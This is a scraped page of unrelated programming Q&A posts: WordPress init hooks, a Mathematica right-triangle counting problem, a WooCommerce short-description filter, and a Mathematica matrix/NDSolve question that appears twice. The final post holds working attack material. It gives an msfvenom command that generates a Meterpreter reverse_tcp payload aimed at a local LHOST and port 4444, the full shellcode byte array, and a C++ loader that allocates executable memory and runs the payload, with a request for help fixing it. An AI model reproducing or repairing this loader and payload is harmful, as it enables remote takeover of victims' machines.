How do you run code on a specific page without missing the init hook?

The earliest that functions such as get_permalink or is_page are available is parse_query (afaik). Then I thought, ok, clearly, I can’t say if( is_page('myPage') ) { add_action( 'init'... // because is_page will always resolve to false.

So then I thought, well, how about wrapping parse_query inside init like so:

add_action( 'init', function() {     add_action( 'parse_query', function() use() {         if( is_page( 'myPage' ) ) { //     }, 10 ); }, 10 ); 

Well, that still does nothing. The code works, but hooking into init there doesn’t really work. My goal here is to make use of items that need to launch/are available on init:10. So, I said, ok, just pass them, right?

add_action( 'init', function() {   $  something_i_need_from_init_10 = //do something.   add_action( 'parse_query', function() use( $  something_i_need_from_init_10 )   // } 

Which works, now, there are two cases that you’ll use this for:

  1. Getting something. If it’s available on init:10, isn’t it available on parse_query since parse_query come after? Sure, for most things, but remember that WP core itself gets rid of certain get_post_* functionality once it hits certain actions. Perhaps you have a service container that works well with WP and a service is only available on init:10.
  2. Doing something. Perhaps something needs to fire here. If so, this still works.

But all of this is clunky to write.

Is there no way to tell WP to run code on init, on a certain page only? Just looking at the link won’t do. There are rewrite rules, link formats and so on that one has to take care of and that probably don’t load until later on.

Ultimately, it’d be nice if all I had to write was:

add_action( 'init', function() {   if( is_page( 'myPage' ) ) {     //do stuff   } } 

What can one do when trying to design this way?


I don’t know how to figure it myself, but perhaps pipelining this process through the page.php / single.php pages will work. I assume WP has to figure out very early on what page, with what template it has to serve for any given link, for which it calls these 2 (usually).

Need help with making code work on Mathematica

    Num = 150;     arr = ConstantArray[1, Num + 1];     For[m = 2, m <= Floor[Sqrt[Num/2] + 1], m++,      For[n = 1, n <= m, n++,      If[! OddQ[m + n], If[GCD[m, n] != 1, L = Min[2*m*(n + m), Num];     arr[[L+1 ;; All ;; L]] = arr[[L+1 ;; All ;; L]] - 1]]]]     Num + 1 - Count[arr, u_ /; u != 0] 

this is the question, its suppose to be written in mathematica but this one doesnt work..

Question

It turns out that 12 cm is the smallest length of wire that can be bent to form an integer sided right angle triangle in exactly one way, but there are many more examples.

12 cm: (3,4,5) 24 cm: (6,8,10) 30 cm: (5,12,13) 36 cm: (9,12,15) 40 cm: (8,15,17) 48 cm: (12,16,20)

In contrast, some lengths of wire, like 20 cm, cannot be bent to form an integer sided right angle triangle, and other lengths allow more than one solution to be found; for example, using 120 cm it is possible to form exactly three different integer sided right angle triangles.

120 cm: (30,40,50), (20,48,52), (24,45,51)

Given that L is the length of the wire, for how many values of L ≤ 1,500,000 can exactly one integer sided right angle triangle be formed?

If a product category is then display code in product short description

How to display a specific code in a product short description if it is belong to a specific category, i’ve used below code in function to add the code but it is displaying on all products.

    function herara_filter_short_description( $  desc ){     global $  product; if ( is_single( $  product->id ) )         //$  new_desc = 'SKU: ' . $  product->get_sku();         $  new_desc = '<span class="sku_wrapper">SKU: <span class="sku">'. $  product->get_sku() .'</span></span></BR><span class="material_wrapper">MATERIAL: <span class="material">'. $  product->get_sku() .'</span></span>';         //$  new_desc .= $  desc;     return $  new_desc; } add_filter( 'woocommerce_short_description', 'herara_filter_short_description' ); 

How can I correct this code to get an answer?

I need to calculate matrix m1 according to following algorithm. Then, I have to put it in the differential equation. However, matrix m1 is complex and therefore the differential equation does not work.
How can I correct this code to get an answer?

 m = {{0, WP[t], WP[t], WP[t], 0}, {WP[t], -FSR, 0, 0, -WS[t]}, {WP[t],  0, 0, 0, WS[t]}, {WP[t], 0, 0, FSR, -WS[t]}, {0, -WS[t],   WS[t], -WS[t], 0}};   q = Eigenvectors[m]; qq1 = Normalize[q[[1]]]; qq2 = Normalize[q[[2]]]; qq3 = Normalize[q[[3]]]; qq4 = Normalize[q[[4]]]; qq5 = Normalize[q[[5]]];   Ali1 = {{D[qq1, t][[1]], 0, 0, 0, 0}, {D[qq1, t][[2]], 0, 0, 0,    0}, {D[qq1, t][[3]], 0, 0, 0, 0}, {D[qq1, t][[4]], 0, 0, 0,    0}, {D[qq1, t][[5]], 0, 0, 0, 0}};  Vali1 = ConjugateTranspose[Ali1];  Kazi1 = Ali1.Vali1;   Ali2 = {{D[qq2, t][[1]], 0, 0, 0, 0}, {D[qq2, t][[2]], 0, 0, 0,    0}, {D[qq2, t][[3]], 0, 0, 0, 0}, {D[qq2, t][[4]], 0, 0, 0,    0}, {D[qq2, t][[5]], 0, 0, 0, 0}}; Vali2 = ConjugateTranspose[Ali2]; Kazi2 = Ali2.Vali2;  Ali3 = {{D[qq3, t][[1]], 0, 0, 0, 0}, {D[qq3, t][[2]], 0, 0, 0,  0}, {D[qq3, t][[3]], 0, 0, 0, 0}, {D[qq3, t][[4]], 0, 0, 0,  0}, {D[qq3, t][[5]], 0, 0, 0, 0}}; Vali3 = ConjugateTranspose[Ali3]; Kazi3 = Ali3.Vali3;  Ali4 = {{D[qq4, t][[1]], 0, 0, 0, 0}, {D[qq4, t][[2]], 0, 0, 0,  0}, {D[qq4, t][[3]], 0, 0, 0, 0}, {D[qq4, t][[4]], 0, 0, 0,  0}, {D[qq4, t][[5]], 0, 0, 0, 0}}; Vali4 = ConjugateTranspose[Ali4]; Kazi4 = Ali4.Vali4;   Ali5 = {{D[qq5, t][[1]], 0, 0, 0, 0}, {D[qq5, t][[2]], 0, 0, 0,   0}, {D[qq5, t][[3]], 0, 0, 0, 0}, {D[qq5, t][[4]], 0, 0, 0,    0}, {D[qq5, t][[5]], 0, 0, 0, 0}};  Vali5 = ConjugateTranspose[Ali5];  Kazi5 = Ali5.Vali5;   m1 = Kazi1 + Kazi2 + Kazi3 + Kazi4 + Kazi5;   sol1 = NDSolve[{D[c[t], t] == (m1).c[t],  c[0] == {1, 0, 0, 0, 0}}, c, {t, 0, 2 tf}];   ans = Evaluate[c[t] /. sol1[[1]]][[5]];  ans1 = Abs[ans]^2;  Plot[ans1, {t, 0, 2 tf}, Frame -> True]  

Hi friends, I need to calculate matrix m1 according to following algorithm. Then, I have to put it in the differential equation. However, matrix m1 is complex and therefore the differential equation does not work.
How can I correct this code to get an answer?

Can’t inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program .

When i create .exe file in msfvenom i try it in my virtual machine (windows 7) and it works well but when i create shellcode and inject it in a c++ file the programe compile succesfully but crashes when i launche it in my VM

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.208.133 LPORT=4444 -f c -o main2.txt 

here i my c++ code (compiled in x64 debug mode with microsoft visual studio):

#include <iostream> #include <Windows.h> int main() { char shell[] =      "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"     "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"     "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"     "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"     "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"     "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"     "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"     "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"     "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"     "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"     "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"     "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"     "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"     "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"     "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"     "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"     "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xd0\x85\x41\x54\x49\x89\xe4"     "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"     "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"     "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"     "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"     "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"     "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"     "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"     "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"     "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"     "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"     "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"     "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"     "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"     "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"     "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"     "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"     "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";  void* exec = VirtualAlloc(0, sizeof shell, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shell, sizeof shell); ((void(*)())exec)();  return 0;  } 

here is the error:

the application was unable du start correctly : c000007b 

What is my mistake ? thanks for answers !